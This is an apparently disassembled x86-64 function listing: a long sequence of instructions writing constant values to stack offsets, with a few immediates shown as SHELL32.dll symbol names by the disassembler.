movabs rax, 0x703876fb0ef533
mov qword [rsp + 0x12270], rax
mov eax, 0xe71
mov word [rsp + 0x297c], ax
mov eax, 0x662
mov word [rsp + 0x2980], ax
movabs rax, 0x715fb832f8ae5a
mov qword [rsp + 0x12278], rax
movabs rax, 0x7d6165ae06c4c1
mov qword [rsp + 0x12280], rax
mov dword [rsp + 0x8fac], 0x103c
mov byte [rsp + 0x51a], 0xba
mov byte [rsp + 0x51b], 0xf0
mov byte [rsp + 0x51c], 0x3a
movabs rax, 0x70e970707e6430
mov qword [rsp + 0x12288], rax
movabs rax, 0x7760b5d3e5c6ee
mov qword [rsp + 0x12290], rax
movabs rax, 0x7dad77ecd2fb32
mov qword [rsp + 0x12298], rax
movabs rax, 0x7b3c70ccce4c4f
mov qword [rsp + 0x122a0], rax
movabs rax, 0x756ce4cf60760b
mov qword [rsp + 0x122a8], rax
mov dword [rsp + 0x8fb0], 0x2927
mov byte [rsp + 0x51d], 0x34
mov dword [rsp + 0x8fb4], 0x704c
mov byte [rsp + 0x51e], 0x10
movabs rax, 0x7620bd0ac149ac
mov qword [rsp + 0x122b0], rax
mov dword [rsp + 0x8fb8], 0x9e6e
movabs rax, 0x7b115407879f09
mov qword [rsp + 0x122b8], rax
mov dword [rsp + 0x8fbc], 0x63b7
mov byte [rsp + 0x51f], 0x1b
mov dword [rsp + 0x8fc0], 0xdbb4
movabs rax, 0x7737a5fe3227b7
mov qword [rsp + 0x122c0], rax
movabs rax, 0x710e32c6def21e
mov qword [rsp + 0x122c8], rax
mov byte [rsp + 0x520], 0x26
mov byte [rsp + 0x521], 0x1d
mov byte [rsp + 0x522], 0x9b
mov eax, 0x665
mov word [rsp + 0x2984], ax
mov dword [rsp + 0x8fc4], 0x59c7
mov dword [rsp + 0x8fc8], 0xa9c
mov dword [rsp + 0x8fcc], 0x40af
mov eax, 0xb75
mov word [rsp + 0x2988], ax
movabs rax, 0x74b4ab2f5b565a
mov qword [rsp + 0x122d0], rax
mov eax, 0x288
mov word [rsp + 0x298c], ax
mov dword [rsp + 0x8fd0], 0x90c
mov byte [rsp + 0x523], 0xd9
movabs rax, 0x79908fe2d96aac
mov qword [rsp + 0x122d8], rax
mov eax, 0x2a9
mov word [rsp + 0x2990], ax
mov dword [rsp + 0x8fd4], 0x260d
mov byte [rsp + 0x524], 0xd3
mov byte [rsp + 0x525], 0x55
mov byte [rsp + 0x526], 0x8e
mov dword [rsp + 0x8fd8], 0x123e
mov eax, 0x47f
mov word [rsp + 0x2994], ax
movabs rax, 0x762e3e62546234
mov qword [rsp + 0x122e0], rax
mov dword [rsp + 0x8fdc], 0xb5c6
mov dword [rsp + 0x8fe0], 0x1185
mov byte [rsp + 0x527], 0xa7
mov byte [rsp + 0x528], 0x7b
mov eax, 0x6e
mov word [rsp + 0x2998], ax
mov dword [rsp + 0x8fe4], 0x49e0
mov eax, 0x8d9
mov word [rsp + 0x299c], ax
mov dword [rsp + 0x8fe8], 0x7e6c
movabs rax, 0x742ef626f37b5f
mov qword [rsp + 0x122e8], rax
movabs rax, 0x7a4be49b49328f
mov qword [rsp + 0x122f0], rax
mov byte [rsp + 0x529], 0x3f
mov dword [rsp + 0x8fec], 0x4ad
mov eax, 0x518
mov word [rsp + 0x29a0], ax
mov eax, 0xbd5
mov word [rsp + 0x29a4], ax
mov eax, 0x7fc
mov word [rsp + 0x29a8], ax
mov byte [rsp + 0x52a], 0x33
movabs rax, 0x70344aca1c9d39
mov qword [rsp + 0x122f8], rax
mov eax, 0x960
mov word [rsp + 0x29ac], ax
mov eax, 0xbc7
mov word [rsp + 0x29b0], ax
mov dword [rsp + 0x8ff0], 0x685e
mov eax, 0x200
mov word [rsp + 0x29b4], ax
movabs rax, 0x7e09673b5c1138
mov qword [rsp + 0x12300], rax
mov dword [rsp + 0x8ff4], 0x36ee
mov byte [rsp + 0x52b], 0x46
mov byte [rsp + 0x52c], 0x51
mov byte [rsp + 0x52d], 0x56
mov eax, 0x3be
mov word [rsp + 0x29b8], ax
mov eax, 0x5e5
mov word [rsp + 0x29bc], ax
mov dword [rsp + 0x8ff8], 0xddef
mov dword [rsp + 0x8ffc], 0xbe79
mov dword [rsp + 0x9000], 0x135c
movabs rax, 0x70f87af4a8cc18
mov qword [rsp + 0x12308], rax
movabs rax, 0x78e3cdc8d3d9ff
mov qword [rsp + 0x12310], rax
movabs rax, 0x7ec233088c1b16
mov qword [rsp + 0x12318], rax
mov eax, 0xefc
mov word [rsp + 0x29c0], ax
movabs rax, 0x7d5646fa3af5e9
mov qword [rsp + 0x12320], rax
movabs rax, 0x7d5d69c27309a5
mov qword [rsp + 0x12328], rax
mov byte [rsp + 0x52e], 0x2a
movabs rax, 0x7bd2e187ab654f
mov qword [rsp + 0x12330], rax
mov byte [rsp + 0x52f], 0x73
movabs rax, 0x7506ea350344a2
mov qword [rsp + 0x12338], rax
mov dword [rsp + 0x9004], 0x77b4
mov eax, 0x35e
mov word [rsp + 0x29c4], ax
movabs rax, 0x715c50cffff458
mov qword [rsp + 0x12340], rax
mov byte [rsp + 0x530], 0x52
mov dword [rsp + 0x9008], 0xc720
mov eax, 0x72b
mov word [rsp + 0x29c8], ax
mov byte [rsp + 0x531], 0x34
movabs rax, 0x7742415f870be7
mov qword [rsp + 0x12348], rax
mov eax, 0x62f
mov word [rsp + 0x29cc], ax
mov byte [rsp + 0x532], 0x35
mov dword [rsp + 0x900c], 0x8e1e
mov eax, 0x13b
mov word [rsp + 0x29d0], ax
mov dword [rsp + 0x9010], 0x4c
mov eax, 0x26a
mov word [rsp + 0x29d4], ax
mov eax, 0xbcf
mov word [rsp + 0x29d8], ax
mov eax, 8
mov word [rsp + 0x29dc], ax
mov dword [rsp + 0x9014], 0x3821
mov byte [rsp + 0x533], 0x38
mov dword [rsp + 0x9018], 0xe90e
mov eax, reloc.SHELL32.dll_ILGetSize
mov word [rsp + 0x29e0], ax
mov eax, 0x451
mov word [rsp + 0x29e4], ax
movabs rax, 0x7d18d336e4ddbd
mov qword [rsp + 0x12350], rax
mov byte [rsp + 0x534], 0xec
mov eax, 0xb70
mov word [rsp + 0x29e8], ax
movabs rax, 0x78c566c7be9fb5
mov qword [rsp + 0x12358], rax
mov dword [rsp + 0x901c], 0x38ba
movabs rax, 0x748cffd9df8158
mov qword [rsp + 0x12360], rax
mov dword [rsp + 0x9020], 0x12c8
mov byte [rsp + 0x535], 0x35
mov byte [rsp + 0x536], 0x3a
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x29ec], ax
mov byte [rsp + 0x537], 8
mov byte [rsp + 0x538], 0x49
mov byte [rsp + 0x539], 0xb1
mov dword [rsp + 0x9024], 0x6f5e
movabs rax, 0x73ccdfa17fa9b0
mov qword [rsp + 0x12368], rax
mov byte [rsp + 0x53a], 0xc8
mov dword [rsp + 0x9028], 0x6089
mov dword [rsp + 0x902c], 0x61a8
mov eax, 0xc87
mov word [rsp + 0x29f0], ax
mov eax, 0x1f
mov word [rsp + 0x29f4], ax
mov eax, 0x2f4
mov word [rsp + 0x29f8], ax
movabs rax, 0x7b422d5c0f9a2c
mov qword [rsp + 0x12370], rax
mov eax, SHUpdateImageW
mov word [rsp + 0x29fc], ax
mov byte [rsp + 0x53b], 0x56
mov byte [rsp + 0x53c], 0x16
movabs rax, 0x7d9d36f06caca1
mov qword [rsp + 0x12378], rax
mov dword [rsp + 0x9030], 0x5284
mov byte [rsp + 0x53d], 0x24
mov eax, 0xda
mov word [rsp + 0x2a00], ax
mov eax, 0xe4c
mov word [rsp + 0x2a04], ax
mov byte [rsp + 0x53e], 4
mov eax, 0xd0e
mov word [rsp + 0x2a08], ax
movabs rax, 0x7646efc3e0acfd
mov qword [rsp + 0x12380], rax
movabs rax, 0x7b00623cc132bf
mov qword [rsp + 0x12388], rax
movabs rax, 0x77b6f71b0492ee
mov qword [rsp + 0x12390], rax
mov byte [rsp + 0x53f], 0xfc
mov eax, 0x158
mov word [rsp + 0x2a0c], ax
mov eax, 0x4ca
mov word [rsp + 0x2a10], ax
movabs rax, 0x79e299b24adf99
mov qword [rsp + 0x12398], rax
mov byte [rsp + 0x540], 0x87
mov dword [rsp + 0x9034], 0xb280
mov dword [rsp + 0x9038], 0xedeb
movabs rax, 0x7be4c13ace4366
mov qword [rsp + 0x123a0], rax
mov byte [rsp + 0x541], 0x34
movabs rax, 0x7c376180575909
mov qword [rsp + 0x123a8], rax
mov dword [rsp + 0x903c], 0x5ff6
mov dword [rsp + 0x9040], 0x60ce
mov dword [rsp + 0x9044], 0x868f
mov eax, 0x684
mov word [rsp + 0x2a14], ax
mov byte [rsp + 0x542], 0x1c
movabs rax, 0x734418b3569696
mov qword [rsp + 0x123b0], rax
mov byte [rsp + 0x543], 0xf7
mov eax, 0xb6c
mov word [rsp + 0x2a18], ax
mov dword [rsp + 0x9048], 0x394a
mov byte [rsp + 0x544], 0x54
movabs rax, 0x7ee13fde247fff
mov qword [rsp + 0x123b8], rax
movabs rax, 0x7a00c5d7d6a63f
mov qword [rsp + 0x123c0], rax
mov dword [rsp + 0x904c], 0x6099
movabs rax, 0x7711df6e78aef1
mov qword [rsp + 0x123c8], rax
mov byte [rsp + 0x545], 0x28
mov byte [rsp + 0x546], 0xe9
mov byte [rsp + 0x547], 0xe2
mov byte [rsp + 0x548], 0x27
movabs rax, 0x717ae9c166744a
mov qword [rsp + 0x123d0], rax
mov byte [rsp + 0x549], 0x5e
mov dword [rsp + 0x9050], 0x7738
mov eax, 0x484
mov word [rsp + 0x2a1c], ax
mov dword [rsp + 0x9054], 0x1f41
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x2a20], ax
mov byte [rsp + 0x54a], 0x6e
mov byte [rsp + 0x54b], 0x54
mov eax, 0xdff
mov word [rsp + 0x2a24], ax
movabs rax, 0x77106d332b432f
mov qword [rsp + 0x123d8], rax
movabs rax, 0x7baca9bd05cbf6
mov qword [rsp + 0x123e0], rax
movabs rax, 0x71dae216495477
mov qword [rsp + 0x123e8], rax
movabs rax, 0x7496524760a3cc
mov qword [rsp + 0x123f0], rax
mov byte [rsp + 0x54c], 0x7a
mov dword [rsp + 0x9058], 0x878c
mov byte [rsp + 0x54d], 0x19
movabs rax, 0x720c4f2bf4cf5a
mov qword [rsp + 0x123f8], rax
mov byte [rsp + 0x54e], 0x4b
movabs rax, 0x798ab07ccda2a8
mov qword [rsp + 0x12400], rax
movabs rax, 0x7946caffcd414d
mov qword [rsp + 0x12408], rax
mov eax, 0x3d6
mov word [rsp + 0x2a28], ax
mov eax, 0xd6
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7799d98c5b36f9
mov qword [rsp + 0x12410], rax
mov eax, 0xb08
mov word [rsp + 0x2a30], ax
movabs rax, 0x7ee754352c3c54
mov qword [rsp + 0x12418], rax
movabs rax, 0x7c212a64ca17af
mov qword [rsp + 0x12420], rax
movabs rax, 0x761086cc897827
mov qword [rsp + 0x12428], rax
mov eax, 0x487
mov word [rsp + 0x2a34], ax
movabs rax, 0x796452f22f48da
mov qword [rsp + 0x12430], rax
mov dword [rsp + 0x905c], 0xbe3
mov dword [rsp + 0x9060], 0x2c8f
movabs rax, 0x75d7d38d93f109
mov qword [rsp + 0x12438], rax
mov dword [rsp + 0x9064], 0x5785
mov byte [rsp + 0x54f], 0x78
movabs rax, 0x73d052ee0013b6
mov qword [rsp + 0x12440], rax
mov eax, 0xd8a
mov word [rsp + 0x2a38], ax
mov dword [rsp + 0x9068], 0x5705
mov dword [rsp + 0x906c], 0x3986
mov dword [rsp + 0x9070], 0x7804
mov eax, 0x2bd
mov word [rsp + 0x2a3c], ax
mov dword [rsp + 0x9074], 0x1f03
mov dword [rsp + 0x9078], 0x61b0
mov eax, 0xd0b
mov word [rsp + 0x2a40], ax
mov eax, 0xc59
mov word [rsp + 0x2a44], ax
mov dword [rsp + 0x907c], 0x6448
mov eax, 0x510
mov word [rsp + 0x2a48], ax
mov dword [rsp + 0x9080], 0x4907
mov eax, 0xdd6
mov word [rsp + 0x2a4c], ax
mov eax, 7
mov word [rsp + 0x2a50], ax
movabs rax, 0x7a353403b66aa0
mov qword [rsp + 0x12448], rax
mov dword [rsp + 0x9084], 0x6a42
mov eax, 0xb2d
mov word [rsp + 0x2a54], ax
mov eax, 0x71a
mov word [rsp + 0x2a58], ax
mov byte [rsp + 0x550], 3
movabs rax, 0x78e072068acfff
mov qword [rsp + 0x12450], rax
movabs rax, 0x70e461576ba538
mov qword [rsp + 0x12458], rax
mov byte [rsp + 0x551], 0x3c
movabs rax, 0x7c8aa4b35cdc34
mov qword [rsp + 0x12460], rax
movabs rax, 0x7dcecb332f0cc8
mov qword [rsp + 0x12468], rax
mov dword [rsp + 0x9088], 0x90d1
mov eax, 0x883
mov word [rsp + 0x2a5c], ax
mov eax, 0xe54
mov word [rsp + 0x2a60], ax
mov byte [rsp + 0x552], 1
movabs rax, 0x72a22eebdf567c
mov qword [rsp + 0x12470], rax
mov byte [rsp + 0x553], 0xd1
mov byte [rsp + 0x554], 4
movabs rax, 0x7a293896848d87
mov qword [rsp + 0x12478], rax
movabs rax, 0x713624eb41890e
mov qword [rsp + 0x12480], rax
mov byte [rsp + 0x555], 0x24
mov byte [rsp + 0x556], 0x17
mov dword [rsp + 0x908c], 0x397b
mov eax, 0x717
mov word [rsp + 0x2a64], ax
movabs rax, 0x718822b639c181
mov qword [rsp + 0x12488], rax
mov dword [rsp + 0x9090], 0x26be
mov byte [rsp + 0x557], 0x1d
movabs rax, 0x72ce347c06a97c
mov qword [rsp + 0x12490], rax
movabs rax, 0x725388440ecb71
mov qword [rsp + 0x12498], rax
movabs rax, 0x75d8f23969c4d8
mov qword [rsp + 0x124a0], rax
mov eax, 0x2dd
mov word [rsp + 0x2a68], ax
mov byte [rsp + 0x558], 3
mov eax, 0x662
mov word [rsp + 0x2a6c], ax
mov dword [rsp + 0x9094], 0xa448
mov dword [rsp + 0x9098], 0xfcec
movabs rax, 0x764d122ad549ed
mov qword [rsp + 0x124a8], rax
mov dword [rsp + 0x909c], 0x231d
mov byte [rsp + 0x559], 0x2a
mov dword [rsp + 0x90a0], 0xa37e
mov byte [rsp + 0x55a], 0x51
movabs rax, 0x7e270d6e297cf6
mov qword [rsp + 0x124b0], rax
mov byte [rsp + 0x55b], 0x2a
mov eax, 0x757
mov word [rsp + 0x2a70], ax
movabs rax, 0x7c1a26ba9add8c
mov qword [rsp + 0x124b8], rax
movabs rax, 0x74c3dd76a3e1b0
mov qword [rsp + 0x124c0], rax
mov byte [rsp + 0x55c], 0x64
mov dword [rsp + 0x90a4], 0xe51c
movabs rax, 0x77caafdda2132d
mov qword [rsp + 0x124c8], rax
mov byte [rsp + 0x55d], 0x7b
movabs rax, 0x7d65b5a32b09a5
mov qword [rsp + 0x124d0], rax
movabs rax, 0x77a713d41aa592
mov qword [rsp + 0x124d8], rax
movabs rax, 0x7880612ba31186
mov qword [rsp + 0x124e0], rax
movabs rax, 0x73965ee1d50cf1
mov qword [rsp + 0x124e8], rax
movabs rax, 0x7bf4824073fb46
mov qword [rsp + 0x124f0], rax
mov byte [rsp + 0x55e], 0x59
movabs rax, 0x72fd156f356b0f
mov qword [rsp + 0x124f8], rax
mov eax, 0x3ac
mov word [rsp + 0x2a74], ax
movabs rax, 0x74121956a0254b
mov qword [rsp + 0x12500], rax
movabs rax, 0x74a6ef15e581b3
mov qword [rsp + 0x12508], rax
mov dword [rsp + 0x90a8], 0x1cf9
mov dword [rsp + 0x90ac], 0x6398
movabs rax, 0x78510bfd3929a3
mov qword [rsp + 0x12510], rax
movabs rax, 0x77b7b8b411bb9c
mov qword [rsp + 0x12518], rax
mov byte [rsp + 0x55f], 0xed
mov byte [rsp + 0x560], 0x71
mov dword [rsp + 0x90b0], 0x5bca
movabs rax, 0x7d30756a54990a
mov qword [rsp + 0x12520], rax
movabs rax, 0x7ca856200669b6
mov qword [rsp + 0x12528], rax
mov dword [rsp + 0x90b4], 0xf870
movabs rax, 0x7e2a2558a09fb3
mov qword [rsp + 0x12530], rax
mov byte [rsp + 0x561], 0x31
movabs rax, 0x7e8fff925f3623
mov qword [rsp + 0x12538], rax
mov byte [rsp + 0x562], 0x50
mov eax, 0xbd4
mov word [rsp + 0x2a78], ax
mov eax, 0x239
mov word [rsp + 0x2a7c], ax
movabs rax, 0x78be377016459d
mov qword [rsp + 0x12540], rax
movabs rax, 0x797c7b1881f436
mov qword [rsp + 0x12548], rax
movabs rax, 0x72326642ff00e3
mov qword [rsp + 0x12550], rax
movabs rax, 0x756c618bcfca18
mov qword [rsp + 0x12558], rax
mov dword [rsp + 0x90b8], 0xfb2c
mov byte [rsp + 0x563], 0x7b
mov byte [rsp + 0x564], 0x24
movabs rax, 0x78c55838312703
mov qword [rsp + 0x12560], rax
mov eax, 0xc4d
mov word [rsp + 0x2a80], ax
mov eax, 0xe28
mov word [rsp + 0x2a84], ax
mov eax, 0x36b
mov word [rsp + 0x2a88], ax
mov eax, 0x20
mov word [rsp + 0x2a8c], ax
mov eax, 0x241
mov word [rsp + 0x2a90], ax
mov eax, 0x485
mov word [rsp + 0x2a94], ax
mov eax, 0xfbd
mov word [rsp + 0x2a98], ax
mov dword [rsp + 0x90bc], 0x23bf
movabs rax, 0x7ace0b0d57f53d
mov qword [rsp + 0x12568], rax
mov eax, 0x553
mov word [rsp + 0x2a9c], ax
mov byte [rsp + 0x565], 0xb5
mov eax, 0x7c
mov word [rsp + 0x2aa0], ax
mov byte [rsp + 0x566], 0x56
movabs rax, 0x77b89ddff49505
mov qword [rsp + 0x12570], rax
mov eax, 0xf8c
mov word [rsp + 0x2aa4], ax
movabs rax, 0x78c06e38ae9021
mov qword [rsp + 0x12578], rax
movabs rax, 0x72d784e84749a4
mov qword [rsp + 0x12580], rax
mov dword [rsp + 0x90c0], 0x7837
mov eax, 0x6de
mov word [rsp + 0x2aa8], ax
movabs rax, 0x7988fc31106681
mov qword [rsp + 0x12588], rax
movabs rax, 0x741e8932a6ece2
mov qword [rsp + 0x12590], rax
mov eax, 0xab
mov word [rsp + 0x2aac], ax
mov dword [rsp + 0x90c4], 0x5fcd
movabs rax, 0x7c4dab54dbc8a6
mov qword [rsp + 0x12598], rax
movabs rax, 0x7a4eb95b5bf858
mov qword [rsp + 0x125a0], rax
movabs rax, 0x735b5d37120c0b
mov qword [rsp + 0x125a8], rax
mov dword [rsp + 0x90c8], 0x42d0
mov eax, 0x1b3
mov word [rsp + 0x2ab0], ax
mov dword [rsp + 0x90cc], 0x396e
mov byte [rsp + 0x567], 0xc
mov byte [rsp + 0x568], 0xc0
mov byte [rsp + 0x569], 0x43
movabs rax, 0x723e3b6fa0ccf6
mov qword [rsp + 0x125b0], rax
mov byte [rsp + 0x56a], 0x28
mov dword [rsp + 0x90d0], 0xdd0d
movabs rax, 0x78077b3bd4e59f
mov qword [rsp + 0x125b8], rax
mov dword [rsp + 0x90d4], 0xc8c3
mov eax, 0x229
mov word [rsp + 0x2ab4], ax
mov eax, 0x14a
mov word [rsp + 0x2ab8], ax
movabs rax, 0x7cdc5b9c594247
mov qword [rsp + 0x125c0], rax
mov eax, 0x286
mov word [rsp + 0x2abc], ax
mov dword [rsp + 0x90d8], 0xbc9
mov eax, 0x7a6
mov word [rsp + 0x2ac0], ax
mov eax, 0x60
mov word [rsp + 0x2ac4], ax
mov eax, 0x3ea
mov word [rsp + 0x2ac8], ax
movabs rax, 0x730ed74bdafe50
mov qword [rsp + 0x125c8], rax
mov eax, 0xa
mov word [rsp + 0x2acc], ax
mov byte [rsp + 0x56b], 0x5a
mov byte [rsp + 0x56c], 0x34
mov dword [rsp + 0x90dc], 0xbbc
mov eax, 0x85d
mov word [rsp + 0x2ad0], ax
movabs rax, 0x76b4fedde74bf5
mov qword [rsp + 0x125d0], rax
movabs rax, 0x74e9c1538835b0
mov qword [rsp + 0x125d8], rax
mov dword [rsp + 0x90e0], 0x238
mov eax, 0xb57
mov word [rsp + 0x2ad4], ax
movabs rax, 0x76073ab4f93c87
mov qword [rsp + 0x125e0], rax
mov dword [rsp + 0x90e4], 0x2d76
mov dword [rsp + 0x90e8], 0xa460
movabs rax, 0x780090469298e4
mov qword [rsp + 0x125e8], rax
movabs rax, 0x79534bdc586e9e
mov qword [rsp + 0x125f0], rax
mov byte [rsp + 0x56d], 0x1f
movabs rax, 0x7130ac7cfd8e9f
mov qword [rsp + 0x125f8], rax
mov eax, 0x406
mov word [rsp + 0x2ad8], ax
mov dword [rsp + 0x90ec], 0xc780
mov byte [rsp + 0x56e], 0xe6
mov eax, 0xe8c
mov word [rsp + 0x2adc], ax
mov byte [rsp + 0x56f], 0xdb
mov eax, 0xb71
mov word [rsp + 0x2ae0], ax
movabs rax, 0x72c12c4ed9fce5
mov qword [rsp + 0x12600], rax
mov dword [rsp + 0x90f0], 0x46c0
mov dword [rsp + 0x90f4], 0x5fc7
mov eax, 0x428
mov word [rsp + 0x2ae4], ax
mov eax, 0x384
mov word [rsp + 0x2ae8], ax
mov dword [rsp + 0x90f8], 0x53a4
movabs rax, 0x7764bf99f64bca
mov qword [rsp + 0x12608], rax
mov eax, 0x198
mov word [rsp + 0x2aec], ax
mov eax, 0x525
mov word [rsp + 0x2af0], ax
mov byte [rsp + 0x570], 0x10
mov dword [rsp + 0x90fc], 0x1a7f
mov dword [rsp + 0x9100], 0x5182
mov byte [rsp + 0x571], 0x4d
mov dword [rsp + 0x9104], 0x5214
mov byte [rsp + 0x572], 0xdc
mov byte [rsp + 0x573], 0x77
mov eax, 0x9ed
mov word [rsp + 0x2af4], ax
mov eax, 0xc3a
mov word [rsp + 0x2af8], ax
mov dword [rsp + 0x9108], 0x8e22
mov dword [rsp + 0x910c], 0xff3c
movabs rax, 0x7384647066877c
mov qword [rsp + 0x12610], rax
mov byte [rsp + 0x574], 0xfb
movabs rax, 0x7e32c7d4e69065
mov qword [rsp + 0x12618], rax
mov byte [rsp + 0x575], 0x1e
mov byte [rsp + 0x576], 0xd
mov dword [rsp + 0x9110], 0x680d
mov eax, 0x575
mov word [rsp + 0x2afc], ax
movabs rax, 0x7ae48cf3ea8631
mov qword [rsp + 0x12620], rax
mov eax, 0x883
mov word [rsp + 0x2b00], ax
mov dword [rsp + 0x9114], 0x1bbe
mov dword [rsp + 0x9118], 0x5f9c
mov eax, 1
mov word [rsp + 0x2b04], ax
mov dword [rsp + 0x911c], 0xffd8
mov dword [rsp + 0x9120], 0x3fa5
mov eax, 0x7f
mov word [rsp + 0x2b08], ax
mov byte [rsp + 0x577], 0x74
mov byte [rsp + 0x578], 0xa
movabs rax, 0x777371db5b2faa
mov qword [rsp + 0x12628], rax
mov eax, 0x2fa
mov word [rsp + 0x2b0c], ax
mov dword [rsp + 0x9124], 0x26f
mov dword [rsp + 0x9128], 0x2d9c
mov dword [rsp + 0x912c], 0x1775
movabs rax, 0x7c4b35c6e1924f
mov qword [rsp + 0x12630], rax
mov eax, 0x476
mov word [rsp + 0x2b10], ax
movabs rax, 0x7054a74f2ea1f9
mov qword [rsp + 0x12638], rax
mov dword [rsp + 0x9130], 0x4acb
mov dword [rsp + 0x9134], 0xb69
movabs rax, 0x7d18776871d844
mov qword [rsp + 0x12640], rax
mov byte [rsp + 0x579], 0x7c
mov byte [rsp + 0x57a], 0x9a
mov eax, 0xf9a
mov word [rsp + 0x2b14], ax
movabs rax, 0x713112a5d366c4
mov qword [rsp + 0x12648], rax
mov eax, 0x36
mov word [rsp + 0x2b18], ax
movabs rax, 0x7a57dba11ae19d
mov qword [rsp + 0x12650], rax
movabs rax, 0x7c2061e409f876
mov qword [rsp + 0x12658], rax
movabs rax, 0x7c888dd1351a68
mov qword [rsp + 0x12660], rax
mov dword [rsp + 0x9138], 0x1f2b
mov dword [rsp + 0x913c], 0xdbac
mov eax, 0x2a4
mov word [rsp + 0x2b1c], ax
mov eax, 0xfd8
mov word [rsp + 0x2b20], ax
mov byte [rsp + 0x57b], 0x28
mov eax, 0x33b
mov word [rsp + 0x2b24], ax
mov byte [rsp + 0x57c], 0xb4
movabs rax, 0x74e36ad2eca0ad
mov qword [rsp + 0x12668], rax
movabs rax, 0x7b9b885c216a2e
mov qword [rsp + 0x12670], rax
mov dword [rsp + 0x9140], 0x67c0
mov eax, 0xcb3
mov word [rsp + 0x2b28], ax
mov byte [rsp + 0x57d], 0x5e
mov byte [rsp + 0x57e], 0xd0
movabs rax, 0x7e399665edee1f
mov qword [rsp + 0x12678], rax
mov eax, 0x516
mov word [rsp + 0x2b2c], ax
mov byte [rsp + 0x57f], 0x3c
mov byte [rsp + 0x580], 0xb1
mov dword [rsp + 0x9144], 0x43ad
mov byte [rsp + 0x581], 0xa
movabs rax, 0x73ed9c59826847
mov qword [rsp + 0x12680], rax
mov dword [rsp + 0x9148], 0x536d
mov byte [rsp + 0x582], 0x2f
mov dword [rsp + 0x914c], 0x7a02
mov dword [rsp + 0x9150], 0x836c
mov dword [rsp + 0x9154], 0x66dc
mov byte [rsp + 0x583], 0x5d
mov dword [rsp + 0x9158], 0x75c8
movabs rax, 0x7505308c6eaa92
mov qword [rsp + 0x12688], rax
movabs rax, 0x747c5e940bb4a2
mov qword [rsp + 0x12690], rax
movabs rax, 0x7c34552e8f6f30
mov qword [rsp + 0x12698], rax
mov byte [rsp + 0x584], 0x22
mov eax, 0xa87
mov word [rsp + 0x2b30], ax
movabs rax, 0x777f4a16279efb
mov qword [rsp + 0x126a0], rax
mov dword [rsp + 0x915c], 0x1c98
mov dword [rsp + 0x9160], 0x2ba9
movabs rax, 0x7c1c83216a5cce
mov qword [rsp + 0x126a8], rax
mov byte [rsp + 0x585], 0x4d
mov byte [rsp + 0x586], 0xaa
movabs rax, 0x7237bb143b6e79
mov qword [rsp + 0x126b0], rax
movabs rax, 0x7ce90f17175d3e
mov qword [rsp + 0x126b8], rax
mov dword [rsp + 0x9164], 0x4b08
mov dword [rsp + 0x9168], 0xc319
movabs rax, 0x7482d329c2fa2a
mov qword [rsp + 0x126c0], rax
movabs rax, 0x72cdae5ace3b25
mov qword [rsp + 0x126c8], rax
mov dword [rsp + 0x916c], 0x69d3
movabs rax, 0x78a63b5905fa09
mov qword [rsp + 0x126d0], rax
movabs rax, 0x751de7c1207643
mov qword [rsp + 0x126d8], rax
mov eax, 0x7a0
mov word [rsp + 0x2b34], ax
mov dword [rsp + 0x9170], 0x3b48
mov eax, 0x721
mov word [rsp + 0x2b38], ax
mov byte [rsp + 0x587], 0x13
mov eax, 0x4bc
mov word [rsp + 0x2b3c], ax
movabs rax, 0x73f22e23e16a2f
mov qword [rsp + 0x126e0], rax
mov byte [rsp + 0x588], 0xd8
mov eax, 0x482
mov word [rsp + 0x2b40], ax
mov eax, 0x278
mov word [rsp + 0x2b44], ax
mov dword [rsp + 0x9174], 0xeec7
mov eax, 0x763
mov word [rsp + 0x2b48], ax
mov byte [rsp + 0x589], 0x16
mov dword [rsp + 0x9178], 0x4924
mov eax, 2
mov word [rsp + 0x2b4c], ax
mov byte [rsp + 0x58a], 0x83
movabs rax, 0x7d8e4a429f3af3
mov qword [rsp + 0x126e8], rax
mov eax, 0x611
mov word [rsp + 0x2b50], ax
mov eax, 0x3a4
mov word [rsp + 0x2b54], ax
mov eax, 0x10c
mov word [rsp + 0x2b58], ax
mov dword [rsp + 0x917c], 0x7aa4
movabs rax, 0x70b546e7067fb1
mov qword [rsp + 0x126f0], rax
mov byte [rsp + 0x58b], 0x86
mov dword [rsp + 0x9180], 0x39e5
mov eax, 0x7fd
mov word [rsp + 0x2b5c], ax
movabs rax, 0x75814533e29344
mov qword [rsp + 0x126f8], rax
mov eax, 0x204
mov word [rsp + 0x2b60], ax
mov dword [rsp + 0x9184], 0xa2d6
movabs rax, 0x7b8eb279e23551
mov qword [rsp + 0x12700], rax
movabs rax, 0x7549e9edda0a28
mov qword [rsp + 0x12708], rax
mov byte [rsp + 0x58c], 0x5b
movabs rax, 0x7dc9bc295728c4
mov qword [rsp + 0x12710], rax
mov dword [rsp + 0x9188], 0x46df
mov byte [rsp + 0x58d], 0x2f
movabs rax, 0x71fce3ffe6174b
mov qword [rsp + 0x12718], rax
mov eax, 0xb4b
mov word [rsp + 0x2b64], ax
movabs rax, 0x7885878a2a7270
mov qword [rsp + 0x12720], rax
mov eax, 0x346
mov word [rsp + 0x2b68], ax
mov byte [rsp + 0x58e], 0xa7
mov dword [rsp + 0x918c], 0x93c5
movabs rax, 0x73f48b0479ea1e
mov qword [rsp + 0x12728], rax
mov byte [rsp + 0x58f], 0x1d
mov eax, 0x684
mov word [rsp + 0x2b6c], ax
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x2b70], ax
movabs rax, 0x7dcd0f971d134f
mov qword [rsp + 0x12730], rax
mov byte [rsp + 0x590], 0x39
mov eax, 0x7d8
mov word [rsp + 0x2b74], ax
mov eax, 0xc55
mov word [rsp + 0x2b78], ax
movabs rax, 0x77c8cc46a029dc
mov qword [rsp + 0x12738], rax
mov eax, 0xe2b
mov word [rsp + 0x2b7c], ax
mov eax, 0x895
mov word [rsp + 0x2b80], ax
mov dword [rsp + 0x9190], 0xa56b
mov dword [rsp + 0x9194], 0x4012
movabs rax, 0x7555fe9f3d9794
mov qword [rsp + 0x12740], rax
mov dword [rsp + 0x9198], 0x285
mov eax, 0x555
mov word [rsp + 0x2b84], ax
mov eax, 0xfb8
mov word [rsp + 0x2b88], ax
mov dword [rsp + 0x919c], 0x13d3
mov byte [rsp + 0x591], 2
mov eax, 0x24d
mov word [rsp + 0x2b8c], ax
mov dword [rsp + 0x91a0], 0xcc67
mov dword [rsp + 0x91a4], 0x618d
mov byte [rsp + 0x592], 0x44
mov dword [rsp + 0x91a8], 0x3259
mov eax, 0x52b
mov word [rsp + 0x2b90], ax
